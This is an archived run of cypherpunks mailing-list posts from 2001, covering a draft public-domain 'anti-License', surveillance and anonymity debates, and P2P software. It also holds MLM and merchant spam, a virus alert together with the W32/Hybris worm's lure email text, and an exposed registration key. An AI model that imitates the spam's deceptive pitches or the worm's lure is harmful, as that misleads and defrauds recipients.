distributor doesn't have to be the author.  The CPL presumes people
will distribute collections of things where they are not the author,
copyright holder, and are barred under existing laws from distributing
perhaps.

There's also this crappy law against illegal contracts, which may
easily affect this in some circumstances.

Also there is the requests clause.  It tries to say that the CPL
distributor won't enforce in court his requests.  This seems
reasonable enough otherwise that would violate the spirit of the CPL,
and would anyway not be a request, but more a threat.

And of course the CPL is itself distributed under the CPL, so anyone
can change it, call the changed versions whatever they want etc.

I suppose the only reasonable request to place on the CPL would be to
mark modified versions as modified to avoid confusion, so that people
know what they're referring to.

Well here we go... comments solicited.

Below in text, or here:

      http://www.cypherspace.org/CPL/

(I may edit this as things occur to me, or people comment on things).

Adam

======================================================================
Cypherpunks anti-License

Intent

The intent of the Cypherpunks anti-License (CPL) is to inform users
that they are free to use and redistribute the indicated work or any
derived or modified work in any manner they choose. Works distributed
under the CPL are in the Public Domain.

Licensing

The CPL is not a license, it does not require the user to do or not do
anything; the user does not agree to any terms, because there are no
terms, and the user does not need to do anything to indicate
acceptance or rejection of the CPL.

Non Litigation

The CPL serves to pledge to the user that the distributors will behave
in a manner consistent with the non-existance of Intellectual Property
(IP) laws as far as they are able. The distributors will not use or
participate as far as they are able to government legal systems to
attempt to enforce requests restricting the use, modifications, or
redistribution of the work for perpetuity. The distributor may prefer
to be anonymous to preclude attempts to coerce them into enforcing IP
laws relating to this work against their will.

Requests

The work may be distributed with some distributor requests in addition
to the CPL. The distributor pledges similarly to not attempt to use IP
laws to enforce these requests.

Redistribution

Users choosing to redistribute this work may change anything about the
work, including distributing it under a different license, and adding
or removing previous distributors requests.

Interpretation

The CPL is completely liberal. Here are some examples of implications
of this which are not true for many licenses. The user can
redistribute the work or a derived or modified work

   * under a different license of their choosing
   * with or without source code as they choose
   * without acknowledging the distributors or authors
   * with false or innaccurate claims about authorship of the work
   * advertise without acknowledging the authors

Requests can be arbitrary, but are requests only. Example of requests
that the distributor may choose to make:

   * that improvements to the work be drawn to the distributors attention
   * that improvements to the work be released back to the distributor
     under the CPL
   * that the distributors name not be used to advertise derived works
     without the distributors approval

Legacy Considerations

The distributor may choose to inform the user of his opinion of the IP
status of the work, for example by identifying any IP law restricted
aspects such as the copyright holders of parts or the whole of the
work, trademark owners of trademarks used in the work, potentially
applicable patents on algorithms or ideas contained in the work, but
the distributor is not obliged to do so and takes no responsibility
for the accuracy of such information.

Background

The CPL is written from a mindset which derides the very concept of
Intellectual Property restrictions as being incompatible with a free
society.

Cryptographically assured anonymity and anonymous use of Internet
resources mean that denizens of cypherspace can ignore copyright,
licenses attempting to control use and distribution of works, and
patents on ideas. It is not possible to enforce IP laws by calls to
government legal systems when the flaunter is strongly anonymous.

The enforcement of IP law and anonymity are in direct conflict. To
fully enforce IP laws, anonymity would have to be
outlawed. Cypherpunks believe this would be a bad thing, because
control of information imparts power, and anonymity gives individuals
control over disclosure of information about themselves and their
actions.
======================================================================





From ANTIGEN_BAMBI at cognex.com  Thu Feb  1 22:43:00 2001
From: ANTIGEN_BAMBI at cognex.com (ANTIGEN_BAMBI)
Date: Fri, 2 Feb 2001 01:43:00 -0500 
Subject: Antigen found W32/Hybris-B virus
Message-ID: <0E2AA31B2BF2C845BC9F8D7E330BDFF4431A@bambi.pc.cognex.com>


Antigen for Exchange found midgets.scr infected with W32/Hybris-B virus.
The file is currently Deleted.  The message, "CDR: Snowhite and the Seven
Dwarfs - The REAL story!", was
sent from Hahaha  and was discovered in IMC Queues\Inbound
located at Cognex/Natick/BAMBI.




From rsw at mit.edu  Fri Feb  2 00:58:35 2001
From: rsw at mit.edu (Riad S. Wahby)
Date: Fri, 2 Feb 2001 03:58:35 -0500
Subject: Palladin Press
In-Reply-To: <4.3.2.7.2.20010201185100.00d00870@flex.com>; from reeza@flex.com on Thu, Feb 01, 2001 at 06:51:39PM -1000
References: <a0.f86462e.27ab1a2b@aol.com> <4.3.2.7.2.20010201185100.00d00870@flex.com>
Message-ID: <20010202035835.A902@positron.mit.edu>

Reese <reeza at flex.com> wrote:
> At 02:59 PM 2/1/01 -0500, DMBSR at aol.com wrote:
>  >I need to talk with these folks -- where are they?
> 
> Second star on the left, then straight on 'til morning.

Heh.  But seriously, folks...

You might give a spellcheck a try.  Paladin has only one 'l'.

Having said that, try http://www.paladin-press.com/

--
Riad Wahby
rsw at mit.edu
MIT VI-2/A 2002

5105




From webmaster at direm.com  Thu Feb  1 16:18:54 2001
From: webmaster at direm.com (webmaster)
Date: Fri, 2 Feb 2001 05:48:54 +0530
Subject: JV Proposal
Message-ID: <011501c08cad$ba49bf40$0100007f@net.vsnl.net.in>

THIS BUSINESS LETTER IS INTENDED FOR WEBMASTER/ OWNER.

 
Dear Sir:

this mail is being sent only to a select few individuals. 
i wanted to share a business proposition of interest to BOTH OF US.
as you read this mail, the servers running the registrations for the
programme are being re-upgraded to even higher capacity (only a 
week since upgrading)!!! 
it's spreading like wildfire AND looks poised to set
a new record. AND ALL THIS w/out any kind of ADVERTISING, PERIOD!!!
 
IF YOU ARE EXCITED ABOUT THE FOLLOWING, THEN YOU ARE
ONLY A CLICK AWAY FROM MAKING SOME REAL DECENT MONEY:
 
  a.. IF THE BIGGEST COMPLAINT THAT WEBMASTERS HAVE IS SOLVED(THAT OF NOT HAVING A PRODUCT THAT IS/ HAS TO BE USED BY CLOSE TO 95% OF ADULT US POPULATION);
  a.. IF THIS "ALWAYS/ EVERYWHERE" IN USE PRODUCT IS A FREE GIVEAWAY;
  a.. IF YOU AGREE THAT GETTING A TOP LEVEL VERY EARLY ON, IN A COMPANY'S 10 LEVEL DEEP MLM (ABOUT JUST WHEN ITS LAUNCHED), HELPS IMMENSELY TO HAVE THE DOWNLINE GO THRU THE ROOF;
  a.. IF ALL YOU HAVE TO DO IS JUST SEND A PERSONAL NOTE TO YOUR EXISTING ASSET (YOUR OPT-IN MAILLIST, COMPOSED OF DATABASE OF PEOPLE WHO WOULDN'T MIND RECEIVING A FREE GIFT FROM YOU THAT HELPS THEM TO MAKE A NEAT BUNDLE W/OUT SPENDING A DIME);
 
then DO NOT WAIT ANYMORE!! click the link below to go the site that made me
doubt the SIMPLICITY of it all, when it hit me between the eyes, as i read it for the
first time. (the following link will redirect you straight to the offer page.)
 
http:// safemail.netfirms.com

this thing is INCREDIBLY CREDIBLE- major financial firms are backing it HEAVILY.
(you'll be surprised of the products popularity with them!!)
 
this is a godsend offer for all webmasters, web admins and listowners since they 
will NEVER be SELLING the product to their databases- just give away for FREE.
 
the offer is 25 days old approx.- so its still FRESH, and YOU SHOULD REACH YOUR
LIST BEFORE SOMEONE ELSE DOES. (i.e., someone already mails quite a few
of them, if they are common contacts between you 2 guys- SINCE THIS IS 
SPREADING TOO FAST WITH JUST WORD OF MOUTH!!) 

thanx for your patient audience. don't you think it's a WIN WIN situation for 
all of us? click below NOW to CONFIRM the TRUTH yourself, about all that is
stated here!!
 
http:// safemail.netfirms.com

the COMMISSIONS you can make thru your vast contacts are enormous!
once you sign up, you may use the commission CALCULATOR online to figure 
out the math yourself!!
 
thanx and best wishes.

IF YOU RECEIVED THIS MAIL IN ERROR, IT IS SINCERELY REGRETTED.THIS IS A ONE-TIME 
TRANSMISSION. YOU WILL NOT RECEIVE ANYMORE MAIL OF THIS KIND IN THE FUTURE.
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From ravage at einstein.ssz.com  Fri Feb  2 05:31:33 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Fri, 02 Feb 2001 07:31:33 -0600
Subject: The Register - Encryption and anti-viral software, the right mix?
Message-ID: <3A7AB6B5.FC3E2719@ssz.com>


http://www.theregister.co.uk/content/4/16574.html
-- 
    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From meistertek at yahoo.com  Fri Feb  2 05:30:22 2001
From: meistertek at yahoo.com (meistertek at yahoo.com)
Date: Fri, 2 Feb 2001 08:30:22 -0500
Subject: >>>CONGRATULATIONS!! YOU WON!!<<<
Message-ID: <242672001252133022110@compuserve>


CONGRATULATIONS!! YOU WON!!

YOUR FREE MEMBERSHIP!!

CHECK IT OUT!

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JOIN FREE!!!........JOIN FREE!!!!
To join our FREE Postlaunch Program

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----------------------------------------------------------------------------
------------------------------

For removal from list reply with remove in subject. 








_________________________________________________________
Do You Yahoo!?
Get your free @yahoo.com address at http://mail.yahoo.com




From richard at the-place.net  Fri Feb  2 01:06:20 2001
From: richard at the-place.net (Richard Lyons)
Date: Fri, 02 Feb 2001 09:06:20 GMT
Subject: Realtime facial recognition cameras used at Super Bowl
In-Reply-To: <20010201202154.A7101@weathership.homeport.org>
References: <20010201115613.E12518@ideath.parrhesia.com> <20010201152651.A5187@weathership.homeport.org> <20010201143416.F12518@ideath.parrhesia.com> <20010201202154.A7101@weathership.homeport.org>
Message-ID: <20010202.9062090@mis.configured.host>


I'm new to this list, so hello everyone.  I'm also on the other side of 
the pond, so I'm interested in what you are recounting.  Here, in the UK, 
stalking is illegal, so is recording phone conversations covertly.  But 
the police are installing a network of CCTV -- not the general 
surveillance cameras in town centres which everyone loves, but a new set 
of low-level cameras that are directed into the windscreens of vehicles 
passing.  So they can track exactly who goes where when.  I'm not sure 
what intelligence they have installed (so far).  In fact, I am not sure 
of anything about them, because they have never been mentioned in the 
media, and most people I've talked to haven't even noticed they are 
there!

I'm wondering whether to try marketing driving masks...  And whether, if 
I did, they would be outlawed (on grounds that they reduce driver vision 
and cause danger, of course).

richard

>>>>>>>>>>>>>>>>>> Original Message <<<<<<<<<<<<<<<<<<

On 02-02-01, 01:21:54, Adam Shostack <adam at homeport.org> wrote regarding 
Re: Realtime facial recognition cameras used at Super Bowl:


> On Thu, Feb 01, 2001 at 02:34:17PM -0800, Greg Broiles wrote:
> | >
> | > One of the more troubling (to me) things is Chemerinsky's comment that
> | > people have no expectation of privacy in public.  The idea that you
> | > may follow someone around with a video camera, take mm scale radar
> | > pictures through their clothes, etc, etc without their permission
> | > because they are in a public space is simply wrong.
> |
> | I think it's important to flesh out what you mean by "wrong" - if you
> | mean that he's misread US law on this topic, I agree with him, not you 
-
> | the privacy and publicity (and 4th Amendment) cases have for the most
> | part agreed that it's perfectly permissible to record (mechanically
> | or electronically) whatever's perceptible from or in a public place.

> I mean wrong as in unethical, not illegal.

> More comments to follow, if I can find some free time. ;)

> Adam


> |
> | This summary of the legal and practical history of video surveillance
> | may be of interest -
> |
> | <http://www.library.ca.gov/CRB/97/05/>
> |
> | There are a few limited exceptions - as of Jan 1 2000, California
> | criminalized surreptitious nonconsensual videotaping under or
> | through another person's clothing for sexual purposes, where the
> | victim had a reasonable expectation of privacy (CA Penal Code
> | 647(k)(2)), but that's pretty limited. There's a table of state
> | voyeurism statutes at
> | 
<http://www.law.about.com/newsissues/law/library/docs/n98voyeurlaws.htm>
> | but it's a few years old - of the 12 states listed there, I'd say
> | that only two (AK and TN) appear to even potentially criminalize
> | surveillance or recording in public places.
> |
> | I get the impression that other states may eventually criminalize
> | sexually oriented surveillance - but I anticipate the statutes will
> | be aimed at sexual or voyeuristic content, and won't touch garden
> | variety baby-brother surveillance for behavior control.
> |
> | > The free-speech-chilling nature of this technology should be clear.
> |
> | Yes, but that's a two-edged sword - the free press implications of
> | limiting recording, depicting, and describing public content are
> | also very serious - I think the people most likely to successfully
> | use a law against public recordings would be police officers going
> | after people like the ones who videotaped the beating of Rodney King.
> | There's a persistent rumor that in CA, cops act very aggressively
> | to prosecute people who surreptitiously tape encounters like traffic
> | stops - I've got no idea whether or not that's true.


> --
> "It is seldom that liberty of any kind is lost all at once."
>                                                      -Hume




From reeza at flex.com  Fri Feb  2 11:17:57 2001
From: reeza at flex.com (Reese)
Date: Fri, 02 Feb 2001 09:17:57 -1000
Subject: Palladin Press
In-Reply-To: <15.f495ae8.27ac5042@aol.com>
Message-ID: <4.3.2.7.2.20010202083144.00d11e20@flex.com>


The cypherpunks list routinely receives posts from hotmail, aol and
other domains with the text "help me X", where X = something inadvisable
or even illegal.  Your query ranks right up there with these apparently 
clueless yet trolling, provocative solicitations - post something silly, 
expect silly responses.

Paladin Press regularly provides a catalog for bundling with one particular 
magazine, they advertise in nearly all the magazines of that particular and 
also in related genres.  I have seen their catalogs offered for sale by 
some reputable book/magazine sellers.

Not to mention, diligent searchers can easily find the Paladin Press website.

Are you a law enforcement officer searching for a good samaritan to 
prosecute, or are you just stupid?

Don't send me offlist mail.

At 01:02 PM 2/2/01 -0500, DMBSR at aol.com wrote:
 >Thanks for your kind assistance.
 >
 >=====In a message dated 2/1/01 11:51:40 PM Eastern Standard Time,
 >reeza at flex.com writes:
 >
 ><< Subj:     Re: Palladin Press
 > Date:  2/1/01 11:51:40 PM Eastern Standard Time
 > From:  reeza at flex.com (Reese)
 > To:    DMBSR at aol.com, cypherpunks at toad.com
 >
 > At 02:59 PM 2/1/01 -0500, DMBSR at aol.com wrote:
 >  >I need to talk with these folks -- where are they?
 >
 > Second star on the left, then straight on 'til morning.
 >
 > Reese
 >
 >  >>




From steve at tightrope.demon.co.uk  Fri Feb  2 01:58:57 2001
From: steve at tightrope.demon.co.uk (Steve Mynott)
Date: 02 Feb 2001 09:58:57 +0000
Subject: The Register - There are still crypto reg's...
In-Reply-To: Ray Dillinger's message of "Thu, 1 Feb 2001 16:08:16 -0800 (PST)"
References: <Pine.LNX.4.21.0102011537290.22389-100000@bolt.sonic.net>
Message-ID: <m2u26dtnha.fsf@squack.com>


Ray Dillinger <bear at sonic.net> writes:

> true multitasking was under WinNT3.51, it was about Neck-and-neck 
> for quality with MacOS 7.  And like Mr. Zakas, I'm pretty convinced 
> that even though MacOS 10 has true multitasking, it has definitely 
> fallen behind WinNT 4. 

Well the name of the operating system is MacOS X and I don't think you
can say it has fallen behind NT 4 when MacOS X release isn't even out
yet.

I don't know what you mean by "true multitasking", which isn't a
technical term, but would guess you are refering to somelike the
destinction between preemptive and cooperative multitasking.

In fact even Windows 95 had preemptive multitasking which is absent in
MacOS 7 and wasn't added until MacOS 8.6.

>From an operating system angle MacOS has been traditionally poor with
no real process control or no real memory management (any Mac user
will tell you the "virtual memory" system is shit) being a hacked up
mess dating from 1984 with kludges stuck on the side.  It's
superficially pretty but ugly under the hood.

But MacOS X is based on BSD UNIX/Mach with a radical new userinterface
and I, for one, would rather use it than NT.

-- 
1024/D9C69DF9 steve mynott steve at tightrope.demon.co.uk
    
    gates' law: every 18 months, the speed of software halves.




From rodney at comedyontap.com  Fri Feb  2 11:22:14 2001
From: rodney at comedyontap.com (Comedy On Tap)
Date: Fri, 02 Feb 2001 11:22:14 PST
Subject: Comedy On Tap
Message-ID: <200102021940.MAA33081@s0213.pm0.net>


      Comedy On Tap
     Daily Newsletter
   For the weekend, baby!

The Senate confirmed John Ashcroft to be attorney general, 
giving President Bush a victory in his first battle with 
congressional Democrats...

... He should be a lot like Janet Reno was, only a little 
more feminine...

HOW ON EARTH DID PETS.COM BLOW ALL THAT DOUGH?
http://www.comedyontap.com/features/tasteless.htm

WHAT?
The Fox television network has turned down a commercial for 
a female contraceptive product that its makers wanted to run 
during "Temptation Island."...

... "This is a show about affairs and illicit sex - we 
wouldn't want to advertise anything that could be a BAD 
INFLUENCE!!!"

ENTERTAINMENT
Backstreet Boy Kevin Richardson is replacing previously 
announced bandmate Nick Carter as a contestant for "Who 
Wants to Be a Millionaire's" Rock Star Edition...

... Can he just lip-synch to a really smart person...?

POLITICS
Horror movie director Wes Craven, the man behind "Scream" 
and "Nightmare on Elm Street," has made a film of former 
President Clinton giving a White House tour during his last 
days in office. The footage will be used for an hour-long 
documentary that will be shown at the Clinton presidential 
library in Arkansas...

... I never screamed louder at a shower scene - there wasn't 
a slasher or anything, I just saw Hillary naked...

DEAD, DIVORCED, MARRIED, IN JAIL OR PREGNANT (or just fat)
A Texas judge told former Playboy Playmate Anna Nicole Smith 
to stop lying in her testimony in a family battle over the 
billion-dollar oil fortune of her late husband. Probate 
Judge Mike Wood accused Smith on Wednesday of making wildly 
untruthful allegations against her stepson Pierce Marshall 
and said he would hold her in contempt of court if she did 
not answer questions accurately...

... I know how the defense can get her to lie again - ask 
her how much she weighs...

OPENING MOVIE BUZZ - yeah, we hated them all... just shows 
'ya we're not owned by the studios... although we open to 
all offers, mind you...

VALENTINE (Warner Bros.) - Hmm. A horror flick about a 
masked killer stalking nubile young women - gee, I can't 
believe they didn't screen it for the press! Rated R.

BUZZ: Here's what I glommed from the official website: Kate 
(Marley Shelton), Paige (Denise Richards), Dorothy (Jessica 
Capshaw) and Lily (Jessica Cauffiel) grew up together, 
"scorning the nerds and presenting a united front to the 
school bullies" - whatever the hell that means. They grow 
up, get careers, but remain friends... as well as remaining 
single (Ah! Single women. Of course they must be punished!) 
As Valentine's Day approaches each woman begins receiving 
creepy Valentines (not as creepy as receiving one from your 
stepfather, but still...), which a police detective tells 
them could be coming from some kid they dissed at a 
Valentine's Day dance way back in junior high. And since 
none of the women remember this loser, he could be any man, 
anywhere. (So lemme see - any guy these ladies pick up could 
be a psychotic scumbag? Isn't that pretty much every night 
in LA?) Think this sounds good? Go see it. Think it sounds 
crummy? Well... usually these films aren't previewed for a 
reason. Ticket buyer beware.

HEAD OVER HEELS (Universal) - Monica Potter (who you'll 
remember from "Patch Adams" - if you haven't 
self-lobotomized in an effort to destroy all memory of that 
film) plays a naïve gal from the midwest who comes to the 
Big Apple to work for the Metropolitan Museum of Art... 
somewhere this movie will never, ever be shown. She moves in 
with four supermodels (But of course! It's New York!) and 
moons over her neighbor Jim (Freddie Prinze Jr.), a 
certified, grade-A hunk she peeps at from her window. But 
one night she thinks she's witnessed hunky ol' Jim murder 
someone, so she and the supermodels begin snooping around to 
find out whether Jim is a nice guy or just another cute New 
York psycho. If you can't tell by now that this is pure crap 
you knocked out a few too many brain cells during that 
"Patch Adams" lobotomy. Rated PG-13.

BUZZ: Full disclosure: I think Freddie Prinze Jr. - while he 
might be a very nice guy - is easily the worst actor in 
movies today. And, lo and behold, "Head Over Heels" features 
yet another in a series of paper-thin, puddle-deep 
performances from the maestro. The impressive thing is, 
EVERYTHING in the film is as bad as he is. Oh my God, it's 
AWFUL! So awful it achieves a kind of majesty - can 
something really be this grotesque all the way around? 
Apparently so! It's like some nasty scientific experiment on 
dead bodies or something... y'know, you don't actually want 
to see it, but you're glad someone proved the theory. Potter 
and Prinze are dreadful, and even more dreadful together 
(they have chemistry, all right - kind of like two 
substances that, when combined, produce poison gas). The 
supermodel roomies are played by actual models. 'Nuff said. 
And the script is like a 13-year-old girl decided to rethink 
Hitchcock's "Rear Window" - but with cute guys and 
supermodels! And fart jokes! Can't forget the fart jokes. 
Hard to believe Hitchcock let those golden opportunities 
slip past. So, have I made myself clear enough? Good. 
Hopefully I've saved you from another self-induced lobotomy. 
You're welcome.

Also: THE MILLION DOLLAR HOTEL

ON FEBRUARY 2...
In 1947, actress/calendar girl Farrah Fawcett was born. She 
played Jill Munroe on "Charlie's Angels," and was married to 
Lee Majors, who played "The Six Million Dollar Man'...

... After the divorce he was the THREE million dollar man...

In 1966, Woody Allen wed Louise Lasser...

... Unfortunately she didn't give him any children, so he 
had nobody to date for the next 20 years...

MORE WOODY
http://www.comedyontap.com/pantheon/allen/allen.html

In 1997, police arrested McDonald's employee Mence Powell, 
19, for selling marijuana in Happy Meals from the 
drive-through window...

... They figured it out when his customers kept getting the 
munchies and circling back into the drive-thru lane...

... On top of that,  they got him for asking if they'd like 
some Coke with their order...

In 1997, Connie Hamzy, a the Little Rock, Arkansas, resident 
known as "Sweet Sweet Connie," told the Arkansas 
Democrat-Gazette that she passed three polygraph tests over 
the weekend regarding an alleged encounter she had with 
then-Governor Bill Clinton in 1984. Hamzy is a 
self-professed sex groupie for rock bands... 

... She's a music groupie? Apparently she's never heard him 
play the saxophone...

A LITTLE MORE ABOUT CONNIE:
http://www.comedyontap.com/presgirls/hamzy.html

In 1997, the Broadway show "Cats," was sued by a woman who 
said one of the characters was too frisky. A woman says she 
was sitting in a orchestra seat with her fiancee when actor 
David Hibbard, dressed as the feline Rum Tum Tugger, came 
off the stage and attacked her as part of the show on Jan. 
30, 1996. The New York Times says Amato filed suit asking 
for $6 million in punitive and compensatory damages for 
assault, battery, invasion of privacy and other charges...

... Not to mention the rabies shots...

TASTELESS
A group of Shriners has sparked a major uproar in Winnipeg 
after it was reported the fez-festooned members held a 
men-only fundraiser for sick children that featured nude 
dancers and public sex acts. The controversy erupted 
following newspaper reports that a "Gentlemen's Dinner" 
fundraiser, organized by the Shriners' motor patrol unit, 
included two nude dancers who climbed on top of a banquet 
table where several men touched and engaged in oral sex with 
them in front of hundreds of male guests...

... I guess that can't be described as "feeding the hungry..."

FINALLY...
You'll be happy to know that we got our financing for the 
movie "BachelorMan" yesterday. I had this HUGE check in my 
hand (largest amount of money I've ever held) and I really 
wanted to impress the tellers at my bank, so I go in there 
dressed in shorts and black sunglasses. There's six tellers 
and five of them are female, so I'm thinking, 'great - one 
of these chicks is really gonna be looking me over after she 
sees the amount of this check I'm depositing...' So, of 
course, my turn comes and it's the window with the guy. 
DAMN! Anyway, we got our money and we're going to make a 
great film. Wish me luck. - Rodney Lee rposter at aol.com
http://www.comedyontap.com/film/bachelorman/bachelor.html



<<<>>> <<<>>> <<<>>> <<<>>> <<<>>> <<<>>> <<<>>> <<<>>> <<<>>> <<<>>>
* To remove yourself from this mailing list, point your browser to:
http://inbound.postmastergeneral.com/remove?OnTap:12
* Enter your email address (cypherpunks at toad.com) in the field
provided and click "Unsubscribe". The mailing list ID is "OnTap:12".

OR...

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with the word remove in the subject line.
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From atek3 at gmx.net  Fri Feb  2 11:35:55 2001
From: atek3 at gmx.net (atek3)
Date: Fri, 2 Feb 2001 11:35:55 -0800
Subject: Privacybuy.com sucks
Message-ID: <035601c08d4f$68ed7860$6975e5a9@Reshall.berkeley.edu>

Ha, read this lil blurb from their site:
PrivateBuy is the only personal payment account that lets you safely and anonymously shop anywhere online. PrivateBuy cloaks your identity, shields your money and offers the same universal acceptance as a credit card. It's the vehicle that ensures your peace-of-mind, security and privacy when shopping online. As a PrivateBuyer you have incredible buying power, protection and anonymity. Your purchases are kept private and off your credit card statement. You'll also stay off marketing and mailing lists. Whether you're concerned about using your credit card all over the Web, worried about identity theft, or just looking for a better way to buy -- PrivateBuy gives you the confidence you need to purchase whatever you want. 

Ya thats a load of shit!  If you ask me they are either working for the government or making a fortune by turning in the idiots who use it under the guise of anonymity.
The worst link in the system is payment.  to use privacybuy you need to fund your account with a credit card I don't get it. What is the point of paying them a 4 dollar service charge if a 2 dollar subpoena will give away your name address and vital statistics!  
I'd hate to see the look on the basterds face who orders chemicals from fisher thinking he got away clean, when 20 jack booted thugs come in and kick his door down!

Can one of the more educated cypherpunks inform me of the appropriate way to buy and pay for things anonymously online?

Thanks

atek3 

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From gbroiles at netbox.com  Fri Feb  2 11:51:08 2001
From: gbroiles at netbox.com (Greg Broiles)
Date: Fri, 2 Feb 2001 11:51:08 -0800
Subject: Open Source P2P
In-Reply-To: <Pine.LNX.4.21.0102011537290.22389-100000@bolt.sonic.net>; from bear@sonic.net on Thu, Feb 01, 2001 at 04:08:16PM -0800
References: <PHEOLKHKKADCALFJMBNIKEMCCDAA.pzakas@toucancapital.com> <Pine.LNX.4.21.0102011537290.22389-100000@bolt.sonic.net>
Message-ID: <20010202115107.C16974@ideath.parrhesia.com>


On Thu, Feb 01, 2001 at 04:08:16PM -0800, Ray Dillinger wrote:
> 
> If P2P agents were distributed with a couple of the major linux 
> distributions (say Red Hat and SuSE) they'd probably achieve 
> critical mass fairly fast (especially if they were set up and 
> configured during install, the way Apache increasingly is).  
> And if they were opensource, they'd probably get into ALL linux 
> distributions within a few years. 
> 
> But so far most of the people doing P2P are trying to make a buck 
> off of it, so with the exception of gnutella, there aren't open-
> source agents.  

The client side stuff for Mojo Nation has been released under the GPL -
that's even a little bit understated, as mostly what they haven't
released is the mint and the metatracker source. You can't start your
own independent Nation, but you can get under the hood of theirs if
you want. 

An overlooked P2P resource is Jabber - it's been explained/marketed as
a cross-platform vendor-neutral chat/messaging system, which is true ..
but it's also a framework for delivering arbitrary XML objects between
not-necessarily-24x7 agents.

--
Greg Broiles gbroiles at netbox.com
PO Box 897
Oakland CA 94604




From gbroiles at netbox.com  Fri Feb  2 12:05:02 2001
From: gbroiles at netbox.com (Greg Broiles)
Date: Fri, 2 Feb 2001 12:05:02 -0800
Subject: Realtime facial recognition cameras used at Super Bowl
In-Reply-To: <20010202.9062090@mis.configured.host>; from richard@the-place.net on Fri, Feb 02, 2001 at 09:06:20AM +0000
References: <20010201115613.E12518@ideath.parrhesia.com> <20010201152651.A5187@weathership.homeport.org> <20010201143416.F12518@ideath.parrhesia.com> <20010201202154.A7101@weathership.homeport.org> <20010202.9062090@mis.configured.host>
Message-ID: <20010202120501.D16974@ideath.parrhesia.com>


On Fri, Feb 02, 2001 at 09:06:20AM +0000, Richard Lyons wrote:
> 
> I'm new to this list, so hello everyone.  I'm also on the other side of 
> the pond, so I'm interested in what you are recounting.  Here, in the UK, 
> stalking is illegal, so is recording phone conversations covertly.  But 
> the police are installing a network of CCTV -- not the general 
> surveillance cameras in town centres which everyone loves, but a new set 
> of low-level cameras that are directed into the windscreens of vehicles 
> passing.  So they can track exactly who goes where when.  I'm not sure 
> what intelligence they have installed (so far).  In fact, I am not sure 
> of anything about them, because they have never been mentioned in the 
> media, and most people I've talked to haven't even noticed they are 
> there!
> 
> I'm wondering whether to try marketing driving masks...  And whether, if 
> I did, they would be outlawed (on grounds that they reduce driver vision 
> and cause danger, of course).

Well, that's disturbing. I wonder how long it's going to be before
politicians figure out that these cameras will also be revealing the
details of their lives, too - mistresses being driven around at lunchtime,
driving meetings with underworld figures or members of other parties, etc -
people generally expect some privacy while driving, especially if they're
not near home. It does sound like a wonderful way to get blackmail 
material or general intelligence.

I'm pretty skeptical about the idea of the masks - not that they wouldn't
work, in that sure, they'll block your face - but I don't think that people
will start wearing them or buying them. 

Doug Barnes, an early cypherpunk, gave an interesting talk at the recent
Mac Crypto conference regarding the social role of privacy - in particular,
he suggested that people who take steps to preserve their privacy may be
signalling to other potential counterparties (in a variety of social and
business contexts) that they're not trustworthy or fully legitimate .. 
our reactions to those signals may not be occurring at a fully rational
or conscious level. While he suggested some methods for changing that
perception, as a baseline that's a reasonable way to think about how
most of the world views privacy. Even people who are also concerned about
these cameras may be reluctant to buy or wear masks - not because they
like the cameras, but because they don't want to be perceived by their
family and friends as thieves or as untrustworthy people.

Slides from Doug's talk might be online at 
<http://www.io.com/~cman/ps/peoplestupid_files/frame.htm>, though
I haven't been able to get them to load in Netscape under FreeBSD.  

--
Greg Broiles gbroiles at netbox.com
PO Box 897
Oakland CA 94604




From ~Health at einstein.ssz.com  Fri Feb  2 09:07:47 2001
From: ~Health at einstein.ssz.com (~Health at einstein.ssz.com)
Date: Fri, 02 Feb 2001 12:07:47 -0500
Subject: The Journey To Health, Wealth and Freedom!
Message-ID: <13jj0p8kv5ocqyteuaj0.642o5e68th1abfcl1a@3aco5d.myhost.com>

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From section104 at wickedspeed.net  Fri Feb  2 09:12:12 2001
From: section104 at wickedspeed.net (section104 at wickedspeed.net)
Date: Fri, 02 Feb 2001 12:12:12 -0500
Subject: Online Processing.
Message-ID: <8mri4a8n7i.273x5fk526re8w7@mx11.wickedspeed.net>


Increase sales up to 500 % !!!
It's easy!
By having the ability to accept credit cards from your internet site we guarantee your sales will improve!

We can get you set up NOW!
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If you would like more information on merchant services, please call us at 888.725.9246

Referral Code:D1791

To be removed from future mailings: http://www.wickedspeed.net/remove




From netcenter-reg at netscape.com  Fri Feb  2 12:49:30 2001
From: netcenter-reg at netscape.com (Netcenter Registration)
Date: Fri, 2 Feb 2001 12:49:30 -0800 (PST)
Subject: NETCENTER uid=CyphrpJoe key=cnO6Eb3peBen CONFIRM!
Message-ID: <200102022049.MAA13914@ureg20.netscape.com>

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From netcenter-reg at netscape.com  Fri Feb  2 14:14:27 2001
From: netcenter-reg at netscape.com (Netcenter Registration)
Date: Fri, 2 Feb 2001 14:14:27 -0800 (PST)
Subject: Welcome to Netcenter
Message-ID: <200102022214.OAA01741@ureg30.netscape.com>

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From hahaha at sexyfun.net  Thu Feb  1 19:57:40 2001
From: hahaha at sexyfun.net (Hahaha)
Date: Fri, 2 Feb 2001 14:27:40 +1030
Subject: Snowhite and the Seven Dwarfs - The REAL story!
Message-ID: <03574079693941@203.38.195.74>

Today, Snowhite was turning 18. The 7 Dwarfs always where very educated and
polite with Snowhite. When they go out work at mornign, they promissed a 
*huge* surprise. Snowhite was anxious. Suddlently, the door open, and the Seven
Dwarfs enter...

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From guknnews at netease.com  Thu Feb  1 22:32:25 2001
From: guknnews at netease.com (gukn)
Date: Fri, 02 Feb 2001 14:32:25 +0800
Subject: No subject
Message-ID: <20010202143200.B4C3.GUKNNEWS@netease.com>



-- Yours sincerely
gukn <guknnews at netease.com>




From wealthclub at mostlysunny.com  Fri Feb  2 19:33:20 2001
From: wealthclub at mostlysunny.com (wealthclub at mostlysunny.com)
Date: Fri, 2 Feb 2001 19:33:20
Subject: BREAKTHROUGH INFORMATION!!!
Message-ID: <402.433774.606001@supermail.readygo.com [202.242.7.60]>


Dear Netrepreneur,

Get the FREE report: 

"How to Sell 300% more of your product 
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From carl at carl57.fsnet.co.uk  Fri Feb  2 11:52:23 2001
From: carl at carl57.fsnet.co.uk (Carl Barraclough)
Date: Fri, 2 Feb 2001 19:52:23 -0000
Subject: Mobile Phones
Message-ID: <000a01c08d51$ab31aa00$caa4893e@r4j7y7>

